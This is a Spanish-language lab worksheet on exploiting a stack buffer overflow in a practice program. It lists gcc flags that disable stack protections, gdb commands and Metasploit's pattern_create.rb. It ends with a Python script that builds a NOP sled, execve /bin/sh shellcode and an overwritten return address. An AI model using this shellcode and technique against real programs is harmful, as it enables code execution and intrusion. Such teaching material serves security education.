Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Actividades
el valor de ASLR es de 0
gcc Compilador
-z execstack Poder ejecutar código en la pila
-fno-stack-protector Desactivar la protección de la pila y poder sobrescribir la pila.
-mpreferred-stack- Intento de mantener la pila alineada a este power de 2 (4 para
boundary=2 sistemas de 64 bits)
-g Incluye en el ejecutable generado la información necesaria para
poder rastrear los errores usando un depurador, tal como GDB
(GNU Debugger).
reto.c Input. Indicar el nombre del programa fuente
-o reto Output. Escoger el nombre del ejecutable que produce el
compilador
Arch Nos muestra de cuantos bits es nuestra maquina x86_64
Gdb Debugger
run Manda la ejecución del programa cargado por el debugger. Permite
introducir los parámetros o entradas al programa
Ejemplo: run `python -c ‘print “A” * 180 ‘`
list Permite ver el código fuente del programa que se está ejecutando
(siempre y cuando está disponible)
break Señala un breakpoint de la ejecución
Ejemplos: break 6 (breakpoint in línea 6);
b main (breackpoint en la función main)
clear Limpia todos los breakpoint definidos
info Permite visualizar información sobre el estado del programa.
A este comando se le necesita añadir qué es lo que se desea ver,
ejemplos:
info registers
Para ver todas las opciones teclear solo info
eXamine Permite examinar posiciones de memoria a partir de una posición origen
Ejemplo: x/40x $rsp (examina las siguientes 40 posiciones hexadecimales
a partir de lo que apunta $rsp). En este ejemplo se está usando rsp por
ser 64 bits, si fuera 32 bits sería esp
disas Desensambla el código y nos muestra las direcciones físicas relacionadas
con el mismo. Se le debe indicar que función.
Ejemplo: disas premio
Desbordamiento (overflow)
/usr/share/metasploit-framework/tools/exploit
En seguida ejecutamos:
./pattern_create.rb -l 130
genera una cadena alfanumérica con longitud de 130 de caracteres
Copiamos la cadena generada y ejecutamos con el comando run en debbuger (gdb).
Con esto se ha alterado el flojo del Programa con la rutina llamada dentro del programa
#!/usr/bin/python
nops = '\x90' * 64
shellCode = (
' \x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69 ' +
' \x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05 '
)
relleno = 'A' * ( 130 - 64 - 29)
eip = '\x50\xe2\xff\xff\xff\x7f '
print nops + shellCode + relleno + eip